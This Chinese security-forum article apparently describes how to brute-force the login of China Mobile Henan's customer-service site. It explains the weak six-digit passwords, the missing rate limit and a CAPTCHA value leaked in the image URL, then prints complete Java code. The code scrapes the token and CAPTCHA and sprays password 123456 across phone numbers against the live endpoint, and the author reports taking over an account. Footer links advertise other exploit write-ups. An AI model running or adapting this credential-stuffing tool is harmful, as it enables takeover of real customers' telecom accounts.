河南移动网络客服系统验证码的缺陷分析和利用!

所属分类: 实用技巧 / 漏洞研究 阅读数: 1994
收藏 0 赞 0 分享
先声明哦 本文没有技术含量---只是为了证明java也可以作破解工具

  中国移动的在线客服系统大家应该非常熟悉,因为我是移动忠实的河南用户,自然就从河南移动说起.在移动大厅办理过业务的用户都很清楚,用户密码只能设置成6位数0~9.而网上服务系统和移动的核心数据库是同步的,密码也只能局限为6位数字.如此简单的密码组合非常适合暴力破解.
  我们来分析一下暴力破解的可行性.首先,系统对当天登录的次数要没有限制,我随便输入一个手机号测试系统容错次数.我试了十次,依然可以进入登录界面(yes~有戏).接下来,分析系统登录需要提交的关键字段.来看看登录页面http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp
__________________________________________
.....................
<form method="post" name="thisform" 
//post 方式提交数据
...........
action="/servlet/com.huawei.icd30.wskf.login.LoginCheck"> -->
//处理登录事件的servlet 看来是它接收的参数.
    <input type="hidden" name="forwardFlag" value="0">
  //关键字段 forwardFlag 不知道什么用处,但多次刷新页面无改变     
<input type="hidden" name="transaction" value="3">
  // 关键字段 transaction 同上 
<input type="hidden" name="ssRandomPass" value="dNZjN/vfR4HwMACDVqhncQ==" >
  //关键字段 ssRandomPass 每次刷新得到新的随机值,在页面无显示
  //可能是身份识别的隐含信息
......................
      //以下是用户提交的表单内容
<td><input type="text" name="userName" size="14"
      //呵呵 手机号
<td><input type="password" name="passWord" 
  //手机密码
<td><input name="randomPassword" type="text"
  //图片验证码
.......................................
___________________________________


综上得post内容为:forwardFlag=0&transaction=3&ssRandomPassdNZjN/vfR4HwMACDVqhncQ==
&userName=135********&passWord=******&randomPassword=****

passWord是我们要猜解的内容,如何锁定randomPassword(验证码)是关键.具体就是如何对图片验证码做解析.说到这里就不得不提一下,在没有验证码的时代,许多暴力破解软件非常流行,对于入侵大多数邮件服务器和论坛是非常行之有效的方法.也捧红了一批经典破解软件,如流光,溯雪.(呵呵,都是值得珍藏的文物)
  我们来看看这里的验证码是如何生成的右键单击验证码图片.哈哈,我们看到了什么?http://khfw.ha.chinamobile.com/s ... let?randomPass=9814<--这是不正是我们的验证码值吗?
我们访问com.huawei.icd30.wskf.console.ImageServlet应用改变randomPass的值为1111 呵呵,不出所料生成了数值为1111的图片.由此可见,登录验证程序和验证码的生成是两个应用.由返回的登录页面传递参数请求com.huawei.icd30.wskf.console.ImageServlet生成验证码.

到这里我们的分析工作就算完成了.如何用程序实现暴力破解没有技术难度.我写了一个java版的application win2000下编译测试成功,效仿一些QQ破解模式,密码为123456,不断变换猜解手机号,10分钟不到就找到了一个密码为123456的用户. 


******本代码只做研究,对于该程序可能造成的后果本人概不负责********


源代码如下:
--------------



import java.net.*;
import java.io.*;

public class Result
{

public static String ssRandomPass,randomPassword;
public static int passWord=123456,num=00000;
//设置六位手机密码和手机后五位号码

public static void main(String args[]){

while(true)
{
    check();
//该函数捕获登录页面关键字段

    try {
    URL url = new URL("http://khfw.ha.chinamobile.com/servlet/com.huawei.icd30.wskf.login.LoginCheck");;
    URLConnection connection = url.openConnection();
    connection.setDoOutput(true);

    OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");

    out.write("forwardFlag=0&transaction=3&ssRandomPass="+ssRandomPass+"&userName=
135286"+num+"&"+"passWord="+passWord+"&randomPassword="+randomPassword);//这里组织提交信息
    out.flush();
    out.close();
    //获取返回数据

    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
    String line = null;
    StringBuffer content= new StringBuffer();
    while((line = in.readLine()) != null)

   {
         //line为返回值,这就可以判断是否成功、

      content.append(line);
   }

   in.close() ;
   in=null;
   url=null;
   String msg = content.toString();

   System.err.println("Back code:"+msg.length()+" check passwd:"+passWord);
   System.err.println("check num:135256"+num);
   if(msg.length()==412|num==99999)
   {
     System.err.println("Get one phonenumber");  
           System.err.println(msg);
    break;
   }
      // passWord++;
       num++;

} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

}
}

public static void check()
{
        StringBuffer ssR = new StringBuffer();
        StringBuffer rand = new StringBuffer();
         try {
    URL url = new URL("http://khfw.ha.chinamobile.com/new_wskf/login/login_portal.jsp");
    URLConnection connection = url.openConnection();
    connection.setDoOutput(true);

    OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "8859_1");
    out.write("?");
    out.flush();
    out.close();
    //获取返回数据

    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
    String line = null;
    StringBuffer content= new StringBuffer();
    while((line = in.readLine()) != null)

   {
         //line为返回值,这就可以判断是否成功、
      content.append(line);
   }

   in.close() ;
   in=null;
   url=null;
   String msg = content.toString();

   for (int i=0;i<=23;i++)
   ssR.append(msg.charAt(1534+i));
   ssRandomPass=ssR.toString();
   System.err.println(ssR.toString());

   for (int i=0;i<=3;i++)
   rand.append(msg.charAt(2492+i));
   randomPassword=rand.toString();
   System.err.println(rand.toString());

   
   //System.err.println(msg);
   } catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

}

}
更多精彩内容其他人还在看

MySQL Proxy(解决注入的另一思路)

MySQL Proxy的主要作用是用来做负载均衡,数据库读写分离的。但是需要注意的是,MySQL Proxy还有个强大的扩展功能就是支持Lua语言——魔兽也是使用了Lua来开发游戏,据我所知网易也是——可以参见云风的博客。
收藏 0 赞 0 分享

phpwind管理权限泄露漏洞利用程序发布

phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作
收藏 0 赞 0 分享

分析NtGodMode.exe干了什么

NtGodMode.exe是通过打开LSASS.EXE进程msv1_0.dll模块空间里,然后搜索特征值8B 4D 0C 49之后第1个32 C0 这个32C0汇编码xor al,al,修改为B001对应汇编码mov al,1 为什么mov al,1,以后就不用密码了?
收藏 0 赞 0 分享

伯乐asp收信程序漏洞及利用程序利用代码

信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 文章作者:fhod 发这个也是因为看了asm所写的新概念收信程序 箱子永远不会被黑
收藏 0 赞 0 分享

字符集导致的浏览器跨站脚本攻击分析

前言:这种利用类型的攻击早在06年就被安全研究人员指出,不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集,所以影响还是比较大,希望各大站快速修复。可以看看http://applesoup.googlepages.com/。
收藏 0 赞 0 分享

Search Engine XSS Worm

作者:余弦 来源:0x37 Security 有挑战才有意思,为了诞生个Search Engine XSS Worm,这里拿yeeyan做实验了。
收藏 0 赞 0 分享

CPU也有远程攻击漏洞 英特尔匆匆修补

BEAREYES.COM 北京 [ 翻译 ] 作者:1000years 日期:2008年08月12日
收藏 0 赞 0 分享

暂时屏蔽 IE 最新 0day的4 种方法

IE 最新 0day 波及了微软全线系统居然在2008年12月14日8:00:15还没有出补丁!我查看微软站点,好像有几个手动操作的办法暂时屏蔽。
收藏 0 赞 0 分享

Sql Server 应用程序的高级Sql注入第1/2页

这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。
收藏 0 赞 0 分享

ASP木马后门新思路

ASP木马后门新思路
收藏 0 赞 0 分享
查看更多